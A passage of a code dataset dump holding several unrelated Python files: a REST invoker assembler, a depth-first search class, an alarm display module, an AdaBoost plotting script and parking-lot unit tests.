invoker.hints.get(self.hintCallReplaceFor)\n if replace is None:\n if isinstance(prevInvoker, Invoker):\n assert isinstance(prevInvoker, Invoker)\n replace = prevInvoker.hints.get(self.hintCallReplaceFor)\n if replace is None:\n raise AssembleError('Invoker %s conflicts with invoker %s and none of them has a replace specified'\n % (invoker, prevInvoker))\n prevInvoker, invoker = invoker, prevInvoker\n typ = typeFor(replace)\n assert isinstance(typ, TypeService), \\\n 'Invalid replace for reference %s, cannot extract a service from it, provide a service API' % replace\n\n if typeFor(prevInvoker.implementation) != typ:\n raise AssembleError('The current invoker %s does not belong to the targeted replaced service %s'\n % (prevInvoker, typ))\n\n return invoker\n\n # ----------------------------------------------------------------\n\n def isModelIn(self, model, types):\n '''\n Checks if the model is present in the provided types.\n \n @param model: Model\n The model to check if present.\n @param types: list[Input|TypeModel|Model|tuple(string,boolean)]|tuple(...)\n The types to check.\n @return: boolean\n True if the model is present, False otherwise.\n '''\n assert isinstance(model, Model), 'Invalid model %s' % model\n assert isinstance(types, (list, tuple)), 'Invalid types %s' % types\n for typ in types:\n if isinstance(typ, Input):\n assert isinstance(typ, Input)\n typ = typ.type.container\n\n if typ == model: return True\n elif isinstance(typ, TypeModel):\n assert isinstance(typ, TypeModel)\n if typ.container == model: return True\n return False\n\n # ----------------------------------------------------------------\n\n def obtainNodePath(self, root, name, isGroup=False):\n '''\n Obtain the path node with name in the provided root Node.\n \n @param root: Node\n The root node to obtain the path node in.\n @param name: string\n The name for the path node.\n @param isGroup: boolean\n Flag indicating that the path node should be considered a group node (True) or an object node (False).\n @return: NodePath\n The path node.\n '''\n assert isinstance(root, Node), 'Invalid root node %s' % root\n assert isinstance(name, str), 'Invalid name %s' % name\n assert isinstance(isGroup, bool), 'Invalid is group flag %s' % isGroup\n\n for child in root.children:\n if isinstance(child, NodePath) and child.name == name:\n if isGroup is not None: child.isGroup |= isGroup\n return child\n return NodePath(root, False if isGroup is None else isGroup, name)\n\n def obtainNodeModel(self, root, model):\n '''\n Obtain the model node in the provided root Node.\n \n @param root: Node\n The root node to obtain the model node in.\n @param model: Model\n The model to obtain the node for.\n @return: NodePath\n The model node.\n '''\n assert isinstance(root, Node), 'Invalid root node %s' % root\n assert isinstance(model, Model), 'Invalid model %s' % model\n\n if isinstance(root, NodeRoot):\n domain = model.hints.get(self.hintModelDomain)\n if domain:\n assert isinstance(domain, str) and domain, 'Invalid domain %s' % domain\n domain = domain.split('/')\n root = self.obtainNode(root, [(name, False) for name in domain if name.strip()])\n\n for child in root.children:\n if isinstance(child, NodePath) and child.name == model.name:\n if not child.isGroup: child.isGroup = True\n return child\n return NodePath(root, True, model.name)\n\n def obtainNodeProperty(self, root, inp):\n '''\n Obtain the property node in the provided root Node.\n \n @param root: Node\n The root node to obtain the path node in.\n @param inp: Input\n The input to find the node for.\n @return: NodeProperty\n The property node.\n '''\n assert isinstance(root, Node), 'Invalid root node %s' % root\n assert isinstance(inp, Input), 'Invalid input %s' % inp\n\n for child in root.children:\n if isinstance(child, NodeProperty) and child.isFor(inp):\n assert isinstance(child, NodeProperty)\n child.addInput(inp)\n return child\n return NodeProperty(root, inp)\n\n def obtainNode(self, root, types):\n '''\n Obtains the node represented by all the provided types.\n \n @param root: Node\n The root node to obtain the node in.\n @param types: list[Input|TypeModel|Model|tuple(string,boolean)]|tuple(...)\n The list of types to identify the node.\n @return: Node|boolean\n The node for the types or False if unable to obtain one for the provided types.\n '''\n assert isinstance(root, Node), 'Invalid root node %s' % root\n assert isinstance(types, (list, tuple)), 'Invalid types %s' % types\n\n for typ in types:\n if isinstance(typ, Input):\n assert isinstance(typ, Input)\n assert isinstance(typ.type, TypeModelProperty), 'Invalid input type %s' % typ.type\n model = typ.type.container\n assert isinstance(model, Model)\n\n addModel = True\n if isinstance(root, NodePath) and root.name == model.name:\n addModel = False\n if addModel and isinstance(root, NodeProperty) and typ in root.inputs:\n addModel = False\n\n if addModel: root = self.obtainNodeModel(root, model)\n root = self.obtainNodeProperty(root, typ)\n elif isinstance(typ, TypeModel):\n assert isinstance(typ, TypeModel)\n root = self.obtainNodeModel(root, typ.container)\n elif isinstance(typ, Model):\n root = self.obtainNodeModel(root, typ)\n elif isinstance(typ, tuple):\n name, isGroup = typ\n root = self.obtainNodePath(root, name, isGroup)\n else:\n log.warning('Unusable type %s', typ)\n return False\n return root\n\n# --------------------------------------------------------------------\n\nclass AssembleOneByOne(AssembleBase):\n '''\n Provides methods for assembling the list of invokers one by one.\n @see: AssembleBase\n '''\n\n def assemble(self, root, invokers):\n '''\n @see: Assembler.assemble\n '''\n assert isinstance(invokers, list), 'Invalid invokers %s' % invokers\n k = 0\n while k < len(invokers):\n invoker = invokers[k]\n assert isinstance(invoker, Invoker), 'Invalid invoker %s' % invoker\n try:\n if self.assembleInvoker(root, invoker): del invokers[k]\n else: k += 1\n except:\n info = invoker.infoAPI or invoker.infoIMPL\n assert isinstance(info, InvokerInfo)\n raise AssembleError('Problems assembling invoker at:\\n File \"%s\", line %i, in %s' % \n (info.file, info.line, info.name))\n\n @abc.abstractmethod\n def assembleInvoker(self, root, invoker):\n '''\n Provides the assembling for a single invoker.\n \n @param root: Node\n The root node to assemble the invokers to.\n @param invoker: Invoker\n The invoker to be assembled.\n @return: boolean\n True if the assembling has been successful, False otherwise.\n '''\n\n# --------------------------------------------------------------------\n\n@injected\nclass AssembleGet(AssembleOneByOne):\n '''\n Resolving the GET method invokers.\n Method signature needs to be flagged with GET and look like:\n AnyEntity|AnyEntity.Property|Iter(AnyEntity)|Iter(AnyEntity.Id)\n %\n ([...AnyEntity.Property])\n !!!Attention the order of the mandatory arguments is crucial since based on that the call is placed in the REST\n Node tree.\n '''\n\n def assembleInvoker(self, root, invoker):\n '''\n @see: AssembleOneByOne.assembleInvoker\n '''\n assert isinstance(root, Node), 'Invalid node %s' % root\n assert isinstance(invoker, Invoker), 'Invalid invoker %s' % invoker\n\n if invoker.method != GET: return False\n\n if isinstance(invoker.output, Iter):\n assert isinstance(invoker.output, Iter)\n output = invoker.output.itemType\n isList = True\n else:\n output = invoker.output\n isList = False\n\n if isinstance(output, (TypeModel, TypeModelProperty)):\n model = output.container\n else:\n log.info('Cannot extract model from output type %s', output)\n return False\n assert isinstance(model, Model)\n\n mandatory = [inp for inp in invoker.inputs[:invoker.mandatory] if isinstance(inp.type, TypeModelProperty)]\n extra = [inp for inp in invoker.inputs[invoker.mandatory:] if isinstance(inp.type, TypeModelProperty)]\n nodes = self.nodesFor(root, model, isList, mandatory, extra, invoker.hints)\n\n if not nodes: return False\n for node in nodes:\n assert isinstance(node, Node)\n node.get = self.processInvokerHints(invoker, node.get)\n log.info('Resolved invoker %s as a get for node %s', invoker, node)\n return True\n\n def nodesFor(self, root, model, isGroup, mandatory, optional, hints):\n '''\n Provides all the nodes for the provided model obtained by combining the mandatory and extra types.\n \n @param root: Node\n The root node to assemble to.\n @param model: Model\n The model to obtain the nodes for.\n @param isGroup: boolean\n Flag indicating that the model is actually provided as a collection.\n @param mandatory: list[Input]\n The mandatory inputs.\n @param optional: list[Input]\n The optional inputs.\n @param hints: dictionary{string, object}\n The hints for the invoker.\n '''\n assert isinstance(root, Node), 'Invalid node %s' % root\n assert isinstance(model, Model), 'Invalid model %s' % model\n assert isinstance(mandatory, list), 'Invalid mandatory list %s' % mandatory\n assert isinstance(optional, list), 'Invalid optional list %s' % optional\n # TODO: refactor the assembler in order to do the combinations by creating a series of invokers that will be\n # assembled separattelly\n nodes = []\n for extra in chain(*(combinations(optional, k) for k in range(0, len(optional) + 1))):\n types = list(mandatory)\n types.extend(extra)\n # Determine if the path represents the returned model.\n if not self.isModelIn(model, types): types.append(model)\n\n node = self.obtainNode(root, self.processTypesHints(types, hints, isGroup))\n if node: nodes.append(node)\n return nodes\n\n# --------------------------------------------------------------------\n\n@injected\nclass AssembleDelete(AssembleOneByOne):\n '''\n Resolving the DELETE method invokers.\n Method signature needs to be flagged with DELETE and look like:\n boolean\n %\n ([...AnyEntity.Property], [AnyEntity.Id])\n The last property needs to target the actual entity that is being deleted.\n !!!Attention the order of the mandatory arguments is crucial since based on that the call is placed in the REST\n Node tree.\n '''\n\n def assembleInvoker(self, root, invoker):\n '''\n @see: AssembleOneByOne.assembleInvoker\n '''\n assert isinstance(root, Node), 'Invalid node %s' % root\n assert isinstance(invoker, Invoker), 'Invalid invoker %s' % invoker\n\n if invoker.method != DELETE: return False\n\n if not invoker.output.isOf(bool):\n log.warning('Invalid output type %s for a delete method, expected boolean', invoker.output)\n return False\n\n types = [inp for inp in invoker.inputs[:invoker.mandatory] if isinstance(inp.type, TypeModelProperty)]\n if not types:\n log.info('Cannot extract any path types for %s', invoker)\n return False\n\n node = self.obtainNode(root, self.processTypesHints(types, invoker.hints))\n if not node: return False\n\n assert isinstance(node, Node)\n node.delete = self.processInvokerHints(invoker, node.delete)\n log.info('Resolved invoker %s as a delete for node %s', invoker, node)\n return True\n\n# --------------------------------------------------------------------\n\n@injected\nclass AssembleInsert(AssembleOneByOne):\n '''\n Resolving the INSERT method invokers.\n Method signature needs to be flagged with INSERT and look like:\n TheEntity|TheEnity.Property (usually the unique id property)\n %\n ([...AnyEntity.Property], [TheEntity])\n !!!Attention the order of the mandatory arguments is crucial since based on that the call is placed in the REST\n Node tree.\n '''\n\n def assembleInvoker(self, root, invoker):\n '''\n @see: AssembleOneByOne.assembleInvoker\n '''\n assert isinstance(root, Node), 'Invalid node %s' % root\n assert isinstance(invoker, Invoker), 'Invalid invoker %s' % invoker\n\n if invoker.method != INSERT: return False\n\n typ = invoker.output\n if isinstance(typ, (TypeModel, TypeModelProperty)):\n model = typ.container\n else:\n log.info('Cannot extract model from output type %s for invoker %s', typ, invoker)\n return False\n assert isinstance(model, Model)\n\n types = [inp if isinstance(inp.type, TypeModelProperty) else inp.type\n for inp in invoker.inputs[:invoker.mandatory] if isinstance(inp.type, (TypeModelProperty, TypeModel))]\n\n models = [typ.container for typ in types if isinstance(typ, TypeModel)]\n if len(models) > 1:\n log.info('To many insert models %s for %s', models, invoker)\n return False\n\n if not self.isModelIn(model, types): types.append(model)\n\n node = self.obtainNode(root, self.processTypesHints(types, invoker.hints))\n if not node: return False\n\n assert isinstance(node, Node)\n node.insert = self.processInvokerHints(invoker, node.insert)\n log.info('Resolved invoker %s as a insert for node %s', invoker, node)\n return True\n\n# --------------------------------------------------------------------\n\n@injected\nclass AssembleUpdate(AssembleOneByOne):\n '''\n Resolving the UPDATE method invokers.\n Method signature needs to be flagged with UPDATE and look like:\n boolean\n %\n ([...AnyEntity.Property], [TheEntity])\n !!!Attention the order of the mandatory arguments is crucial since based on that the call is placed in the REST\n Node tree.\n '''\n\n def assembleInvoker(self, root, invoker):\n '''\n @see: AssembleOneByOne.assembleInvoker\n '''\n assert isinstance(root, Node), 'Invalid node %s' % root\n assert isinstance(invoker, Invoker), 'Invalid invoker %s' % invoker\n\n if invoker.method != UPDATE: return False\n\n types = [inp if isinstance(inp.type, TypeModelProperty) else inp.type\n for inp in invoker.inputs[:invoker.mandatory] if isinstance(inp.type, (TypeModelProperty, TypeModel))]\n\n models = [typ.container for typ in types if isinstance(typ, TypeModel)]\n if len(models) > 1:\n log.info('To many update models %s for %s', models, invoker)\n return False\n\n node = self.obtainNode(root, self.processTypesHints(types, invoker.hints))\n if not node: return False\n\n assert isinstance(node, Node)\n node.update = self.processInvokerHints(invoker, node.update)\n log.info('Resolved invoker %s as a update for node %s', invoker, node)\n return True\n\n@injected\nclass AssembleUpdateModel(AssembleUpdate):\n '''\n Resolving the UPDATE method invokers.\n Method signature needs to be flagged with UPDATE and look like:\n boolean\n %\n ([...AnyEntity.Property], TheEntity)\n A parameter needs to be of the updated model type.\n !!!Attention the order of the mandatory arguments is crucial since based on that the call is placed in the REST\n Node tree.\n '''\n\n def assembleInvoker(self, root, invoker):\n '''\n @see: AssembleOneByOne.assembleInvoker\n '''\n assert isinstance(root, Node), 'Invalid node %s' % root\n assert isinstance(invoker, Invoker), 'Invalid invoker %s' % invoker\n\n if invoker.method != UPDATE: return False\n\n types = [inp.type for inp in invoker.inputs[:invoker.mandatory] if isinstance(inp.type, TypeModelProperty)]\n modelTypes = [(inp.type, k) for k, inp in enumerate(invoker.inputs[:invoker.mandatory])\n if isinstance(inp.type, TypeModel)]\n if len(modelTypes) == 1:\n typ, modelIndex = modelTypes[0]\n assert isinstance(typ, TypeModel)\n if typ.hasId():\n typeId = typ.propertyTypeId()\n if typeId not in types:\n assert isinstance(typeId, TypeModelProperty)\n inputs = list(invoker.inputs[:invoker.mandatory])\n indexes = list(range(0, invoker.mandatory))\n \n indexesSetValue = {modelIndex: {typeId.property:invoker.mandatory}}\n \n inputs.append(Input('setId$%s' % typeId.property, typeId))\n inputs.extend(invoker.inputs[invoker.mandatory:])\n indexes.extend(range(invoker.mandatory + 1, len(inputs)))\n \n invokerRestr = InvokerRestructuring(invoker, inputs, indexes, indexesSetValue)\n if super().assembleInvoker(root, invokerRestr): return True\n log.warn('Cannot assemble the exploded update invoker %s created based on invoker %s' \n % (invokerRestr, invoker))\n return False\n","sub_path":"components/ally-core/ally/core/impl/assembler.py","file_name":"assembler.py","file_ext":"py","file_size_in_byte":24625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"587958163","text":"import time\nfrom games_puzzles_algorithms.search.search import Search, Node\n\n\nclass DepthFirstSearch(Search):\n \"\"\"Depth first search class.\"\"\"\n\n def __init__(self, problem, time_limit):\n \"\"\"\n Initialize the search.\n Create the root node with the problem and set a time limit for search.\n \"\"\"\n Search.__init__(self, problem, time_limit)\n self.frontier = []\n self.frontier.append(self.rootnode)\n\n def search(self, verbose=False):\n \"\"\"\n Perform depth first search until time_limit is reached.\n Returns a list of moves to reach the solution if it finds one, None\n if there is not solution, or False if the time limit is reached.\n \"\"\"\n start = time.time()\n if self.rootnode.state.is_solved():\n return self._solution(self.rootnode)\n\n tick = 0\n\n while time.time() - start < self.time_limit:\n solved, state = self.step(verbose, tick)\n self.solved = solved\n if solved is None:\n return None\n if solved:\n return state\n tick += 1\n return False\n\n def _in_frontier(self, state):\n \"\"\"Check if there is a node with state state in the frontier.\"\"\"\n for node in self.frontier:\n if state.equals(node.state):\n return True\n\n return False\n\n def step(self, verbose=False, tick=0):\n \"\"\"\n Perform one step of the search.\n :param verbose: boolean, verbose mode\n :param tick: integer, number of steps elapsed\n :return: 2-tuple.\n * (None, None) for no solution,\n * (True, [Steps]) for solved,\n * (False, ) for unsolved, searching\n \"\"\"\n if len(self.frontier) == 0:\n return None, None\n current_node = self.frontier.pop()\n\n if current_node.state.is_solved():\n return True, []\n\n if verbose:\n print(\"Step {0}\".format(tick))\n print(current_node.state)\n\n self.explored.add(current_node.state.value())\n for move in current_node.state.valid_moves():\n new_state = current_node.state.copy()\n new_state.apply_move(move)\n child = Node(new_state, move, current_node)\n if not new_state.value() in self.explored and not self._in_frontier(new_state):\n if child.state.is_solved():\n if verbose:\n print(\"Took {0} steps using Depth First Search.\".format(tick))\n return True, self.solution(child)\n self.frontier.append(child)\n\n return False, current_node.state\n\n def reset(self):\n self.frontier = []\n self.frontier.append(self.rootnode)\n self.explored = set()\n self.solved = False\n","sub_path":"old/lib/games_puzzles_algorithms/search/depth_first_search.py","file_name":"depth_first_search.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"138625935","text":"import datetime\n\nfrom exceptions import ExceptionFormat, ExceptionNotFound\nfrom modules.alarm.alarm_time_base import AlarmTimeBase\nfrom logging import Logger\nfrom setting import Setting\n\n\nclass BlockAlarmText(AlarmTimeBase):\n \"\"\"description of class\"\"\"\n\n def __init__(self, logger: Logger, setting: Setting):\n \"\"\"Initializes (declare internal variables)\"\"\"\n super(BlockAlarmText, self).__init__(logger, setting)\n self._is_alarm = False\n self._fore_color = None\n self._back_color = None\n self._module = None\n self._text = None\n\n def init(self, config_section, mod_list) -> None:\n \"\"\"Initializes (initialize internal variables)\"\"\"\n super(BlockAlarmText, self).init(config_section, mod_list)\n if \"Voice\" not in mod_list:\n raise ExceptionNotFound(config_section.name, \"Voice\")\n self._module = mod_list[\"Voice\"]\n self._fore_color = self._get_tuple(config_section.get(\"ForegroundColor\"))\n self._back_color = self._get_tuple(config_section.get(\"BackgroundColor\"))\n self._text = config_section.get(\"Text\")\n if self._fore_color is None:\n raise ExceptionNotFound(config_section.name, \"ForegroundColor\")\n if self._back_color is None:\n raise ExceptionNotFound(config_section.name, \"BackgroundColor\")\n if len(self._fore_color) != 3:\n raise ExceptionFormat(config_section.name, \"ForegroundColor\")\n if len(self._back_color) != 3:\n raise ExceptionFormat(config_section.name, \"BackgroundColor\")\n if self._text is None:\n raise ExceptionNotFound(config_section.name, \"Text\")\n\n def update_state(self, current_time) -> None:\n super(BlockAlarmText, self).update_state(current_time)\n if self._is_alarm:\n if (current_time - self._stop_time).seconds <= 3:\n self._is_alarm = False\n\n def update_display(self, screen, size, fore_color, back_color, blocks, current_time) -> None:\n try:\n if not self._is_alarm:\n return\n\n value = datetime.datetime.today()\n if (value - self._start_time).seconds % 2 == 0:\n back_color = self._back_color\n\n screen.fill(back_color)\n for block in blocks:\n block.update_display(True, screen, size, self._fore_color, back_color, current_time)\n\n except Exception as ex:\n self._logger.exception(ex)\n\n def execute(self) -> None:\n if self._is_alarm:\n return\n self._stop_time = datetime.datetime.now() + datetime.timedelta(seconds=self._duration)\n self._is_alarm = True\n self._module.execute(self._text)\n self._is_alarm = False\n","sub_path":"modules/alarm/block_alarm_text.py","file_name":"block_alarm_text.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"323980786","text":"# -*- coding: UTF-8 -*-\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom matplotlib.colors import ListedColormap\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.datasets import make_moons\r\nfrom sklearn.metrics import f1_score\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.tree import ExtraTreeClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.ensemble import GradientBoostingClassifier\r\nfrom sklearn.linear_model import Perceptron\r\nfrom sklearn.naive_bayes import GaussianNB\r\nimport pandas as pd\r\nimport gif\r\n\r\n\r\nclass AdaboostDemo:\r\n\r\n def __init__(self, X, y, val_X=None, val_y=None, learning_rate=1., method=''):\r\n # plt的图窗\r\n self.fig = plt.figure(1)\r\n self.ax = plt.gca()\r\n \"\"\"\r\n 输入的X为N*2矩阵, y为一维向量, y的值只能取1或-1\r\n :param X: 数据点\r\n :param y: 数据点标记\r\n \"\"\"\r\n self.X = X\r\n self.y = y\r\n self.val_X = val_X\r\n self.val_y = val_y\r\n self.method = method\r\n # 给每个弱分类器一个衰减, 避免过拟合\r\n self.learning_rate = learning_rate\r\n # 样本的个数\r\n self.num_samples = len(self.X)\r\n # 初始化数据样本的权重为1/N\r\n self.sample_weight = np.full(self.num_samples, 1.0 / self.num_samples)\r\n # python list用来存储所有的弱分类器对象\r\n self.classifiers = []\r\n # 储存在每一步的错误率\r\n self.errors_list = []\r\n # 定义弱分类器, 这里我们直接调用sklearn的决策树, max_depth=1代表着这是一个一层决策树, 也就是决策树桩\r\n self.alphas = []\r\n # metrics\r\n self.score = []\r\n # val_metrics\r\n self.val_score = []\r\n\r\n def predict(self, data=None, labels=None):\r\n \"\"\"\r\n 预测数据点的分类\r\n :param labels: 数据标签\r\n :param data: 数据\r\n \"\"\"\r\n if data is None:\r\n data = self.X\r\n labels = self.y\r\n # 计算弱分类器线性加权组合的结果\r\n predictions = np.zeros([len(data)]).astype(\"float\")\r\n for classifier, alpha in zip(self.classifiers, self.alphas):\r\n predictions += alpha * classifier.predict(data)\r\n # 对结果取符号\r\n predictions = np.sign(predictions)\r\n # 获取ac\r\n if labels is not None:\r\n ac = f1_score(predictions, labels, average='macro')\r\n return predictions, ac\r\n else:\r\n return predictions\r\n\r\n def contour_plot(self, data=None, labels=None, interval=0.1, title=\"adaboost\", test=False, validation=False):\r\n \"\"\"\r\n Adaboost可视化\r\n :param labels: 数据label\r\n :param data: 数据点\r\n :param interval: 等高线图网格的间隔\r\n :param title: 等高线图的标题\r\n \"\"\"\r\n if data is None:\r\n data = self.X\r\n labels = self.y\r\n if labels is None:\r\n labels = np.ones([len(data)])\r\n # 获取网格\r\n x_min, x_max = data[:, 0].min() - .5, data[:, 0].max() + .5\r\n y_min, y_max = data[:, 1].min() - .5, data[:, 1].max() + .5\r\n xx, yy = np.meshgrid(np.arange(x_min, x_max, interval), np.arange(y_min, y_max, interval))\r\n # 将网格的X, Y轴拼接用来进行等高线的计算\r\n X_grid = np.concatenate([np.expand_dims(np.ravel(xx), axis=-1),\r\n np.expand_dims(np.ravel(yy), axis=-1)], axis=-1)\r\n # X_grid的形状[batch(数据点数量), 2]\r\n # 计算分类边界(等高线)\r\n Z_grid = self.predict(data=X_grid)\r\n Z_grid = Z_grid.reshape(xx.shape)\r\n\r\n plt.cla()\r\n # 等高线\r\n self.ax.contourf(xx, yy, Z_grid, alpha=.8, cmap=plt.cm.BrBG)\r\n # 散点\r\n self.ax.scatter(data[:, 0], data[:, 1], c=labels,\r\n cmap=ListedColormap(['#FF0000', '#0000FF']), edgecolors='k')\r\n self.ax.set_title(title)\r\n f = plt.gcf()\r\n if test == False and validation == False:\r\n f.savefig('pic/' + self.method + '/' + str(len(self.classifiers)) + '.jpg')\r\n elif test == True and validation == False:\r\n f.savefig('pic/' + self.method + '/test.jpg')\r\n elif test == False and validation == True:\r\n f.savefig('pic/' + self.method + '/validation.jpg')\r\n\r\n def __next__(self, plot=True):\r\n # 定义弱分类器\r\n if self.method == 'DecisionTree_1':\r\n classifier = DecisionTreeClassifier(max_depth=1)\r\n elif self.method == 'DecisionTree_2':\r\n classifier = DecisionTreeClassifier(\r\n max_depth=2, min_samples_split=20,\r\n min_samples_leaf=5)\r\n elif self.method == 'SVM':\r\n classifier = SVC()\r\n elif self.method == 'ExtraTree':\r\n classifier = ExtraTreeClassifier()\r\n elif self.method == 'RandomForest':\r\n classifier = RandomForestClassifier()\r\n elif self.method == 'LogisticRegression':\r\n classifier = LogisticRegression()\r\n elif self.method == 'GradientBoosting':\r\n classifier = GradientBoostingClassifier()\r\n elif self.method == 'Perceptron':\r\n classifier = Perceptron()\r\n elif self.method == 'Bayesian':\r\n classifier = GaussianNB()\r\n else:\r\n classifier = None\r\n\r\n # 用弱分类器拟合数据\r\n classifier.fit(self.X, self.y, sample_weight=self.sample_weight)\r\n # 得到弱分类器对数据的推断, 也就是h(x)\r\n predictions = classifier.predict(self.X)\r\n # 计算错误率epsilon\r\n error_rate = np.average((predictions != self.y), weights=self.sample_weight) + 1e-5\r\n self.errors_list.append(error_rate)\r\n # 计算alpha\r\n alpha = self.learning_rate * (np.log((1 - error_rate) / error_rate)) / 2\r\n # 计算t+1的权重\r\n self.sample_weight *= np.exp(-alpha * self.y * predictions)\r\n # 归一化, 归一化因子为Z: sum(self.sample_weight)\r\n self.sample_weight /= np.sum(self.sample_weight)\r\n # 记录当前弱分类器对象\r\n self.classifiers.append(classifier)\r\n # 记录当前弱分类器权重\r\n self.alphas.append(alpha)\r\n # 计算accuracy_score\r\n _, ac = self.predict()\r\n self.score.append(ac)\r\n if self.val_X is not None and self.val_y is not None:\r\n _, ac_val = self.predict(self.val_X, self.val_y)\r\n self.val_score.append(ac_val)\r\n # 画图\r\n if plot:\r\n return self.contour_plot(\r\n title=model.method + \" adaboost step \" + str(len(model.classifiers)) + \"\\n f1_score is: {:.2f}\".format(\r\n ac))\r\n else:\r\n return ac\r\n\r\n\r\nif __name__ == '__main__':\r\n raw = pd.read_csv(\"TrainSet.txt\", header=0, names=['x1', 'x2', 'label'])\r\n Train_set = raw.values\r\n X_train = Train_set[::, :2]\r\n y_train = Train_set[::, 2]\r\n\r\n raw = pd.read_csv(\"TestSet.txt\", header=0, names=['x1', 'x2', 'label'])\r\n Train_set = raw.values\r\n X_test = Train_set[::, :2]\r\n y_test = Train_set[::, 2]\r\n\r\n # X, y = make_moons(n_samples=1500, noise=0.3, random_state=4321)\r\n # X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=1234)\r\n # X_train, X_val, y_train, y_val = train_test_split(X_train, y_train, test_size=0.333, random_state=1234)\r\n # 生成的样本label是0,1 而adaboost中label是-1,1\r\n y_train[np.where(y_train == 0)] = -1\r\n y_test[np.where(y_test == 0)] = -1\r\n # y_val[np.where(y_val == 0)] = -1\r\n\r\n # ---------------------------------------------------------------------#\r\n # ----下面的代码中,method参数需要改动,range中的数字代表弱分类器个数------------#\r\n # ---------------------------------------------------------------------#\r\n # 调用adaboost类\r\n # 方法有 'DecisionTree_1' 'DecisionTree_2' 'SVM' 'ExtraTree'\r\n # 'RandomForest' 'LogisticRegression' 'GradientBoosting' 'Perceptron' 'Bayesian'\r\n #\r\n model = AdaboostDemo(X_train, y_train,\r\n method='DecisionTree_2')\r\n\r\n for i in range(50):\r\n model.__next__(plot=True)\r\n # ---------------------------------------------------------------------#\r\n # ----改动上面的代码中,下面的代码用于出图与生成gif---------------------------#\r\n # ---------------------------------------------------------------------#\r\n model.contour_plot(\r\n title=model.method + \" adaboost step \" + str(len(model.classifiers)) + \"\\n f1_score is: {:.2f}\".format(\r\n model.predict()[1]), test=False, validation=False)\r\n\r\n image_list = [\"pic/\" + model.method + '/' + str(x) + \".jpg\" for x in range(1, len(model.classifiers) + 1)]\r\n gif_name = \"pic/\" + model.method + '/' + model.method + '_gif.gif'\r\n gif.create_gif(image_list, gif_name)\r\n model.contour_plot(X_test, y_test,\r\n title=model.method + \" adaboost\\ntest classifiers:\" + str(\r\n len(model.classifiers)) + \"\\n f1_score is: {:.2f}\".format(\r\n model.predict(X_test, y_test)[1]), test=True, validation=False)\r\n # model.contour_plot(X_val, y_val,\r\n # title=model.method + \" adaboost\\nvalidation classifiers:\" + str(\r\n # len(model.classifiers)) + \"\\nvalidation f1_score is: {:.2f}\".format(\r\n # model.predict(X_val, y_val)[1]), test=False, validation=True)\r\n f = plt.gcf()\r\n plt.cla()\r\n plt.plot(range(1, len(model.classifiers) + 1), model.errors_list)\r\n plt.title(f'model final error_rate: {model.errors_list[-1]:.2f}')\r\n f.savefig('pic/' + model.method + '/error_rate.jpg')\r\n plt.cla()\r\n plt.plot(range(1, len(model.classifiers) + 1), model.score)\r\n plt.title(f'training final f1_score: {model.score[-1]:.2f}')\r\n f.savefig('pic/' + model.method + '/score.jpg')\r\n plt.cla()\r\n # plt.plot(range(1, len(model.classifiers) + 1), model.val_score)\r\n # plt.title(f'validation final f1_score: {model.val_score[-1]:.2f}')\r\n # f.savefig('pic/' + model.method + '/val_score.jpg')\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"59919347","text":"import unittest\nfrom ParkingLot import ParkingLot\n\nparking_lot = ParkingLot()\n\nclass TestParkingLot(unittest.TestCase):\n\n def test_create_parking_lot_valid(self):\n result = parking_lot.create_parking_lot(4)\n self.assertEqual(4,result)\n\n def test_create_parking_lot_invalid(self):\n result = parking_lot.create_parking_lot(4)\n self.assertNotEqual(5, result)\n\n def test_park(self):\n result = parking_lot.create_parking_lot(7)\n result = parking_lot.park(\"KA-01-HH-111\", \"White\")\n result = parking_lot.park(\"KA-01-HH-112\", \"Black\")\n self.assertNotEqual(-1, result)\n\n def test_leave_slot(self):\n result = parking_lot.create_parking_lot(6)\n result = parking_lot.park(\"KA-01-HH-1001\", \"White\")\n result = parking_lot.park(\"KA-01-HH-1002\", \"Black\")\n result = parking_lot.leave_slot(1)\n self.assertEqual(True, result)\n\n def test_get_regno_from_color(self):\n result = parking_lot.create_parking_lot(8)\n result = parking_lot.park(\"KA-01-HH-123\", \"White\")\n result = parking_lot.park(\"KA-01-HH-999\", \"White\")\n regnos = parking_lot.get_regno_from_color(\"White\")\n self.assertIn(\"KA-01-HH-123\", regnos)\n self.assertIn(\"KA-01-HH-999\", regnos)\n self.assertNotIn(\"MH-0-AB-123\", regnos)\n\n def test_get_slotno_from_regno(self):\n result = parking_lot.create_parking_lot(6)\n result = parking_lot.park(\"KA-01-HH-3001\", \"White\")\n result = parking_lot.park(\"KA-01-HH-9999\", \"White\")\n slotno = parking_lot.get_slotno_from_regno(\"KA-01-HH-9999\")\n self.assertEqual(2, slotno)\n\n def test_get_slotno_from_color(self):\n parking = ParkingLot()\n result = parking.create_parking_lot(8)\n result = parking.park(\"KA-01-HH-2001\", \"Black\")\n result = parking.park(\"KA-01-HH-2002\", \"White\")\n result = parking.park(\"MH-01-HH-2004\", \"Blue\")\n result = parking.park(\"KA-01-HH-2005\", \"Black\")\n slotnos = parking.get_slotno_from_color(\"Black\")\n self.assertIn(\"1\", slotnos)\n self.assertNotIn(\"2\", slotnos)\n self.assertNotIn(\"3\", slotnos)\n\nif __name__ == '__main__':\n unittest.main()\n\n\n","sub_path":"parking_lot_using_tdd/test_parking_lot.py","file_name":"test_parking_lot.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"116209608","text":"from math import log\r\nfrom dataloader.dataloader_face_299 import get_dataloader\r\nimport torch\r\nfrom tqdm import tqdm\r\nimport os\r\nimport torch.nn as 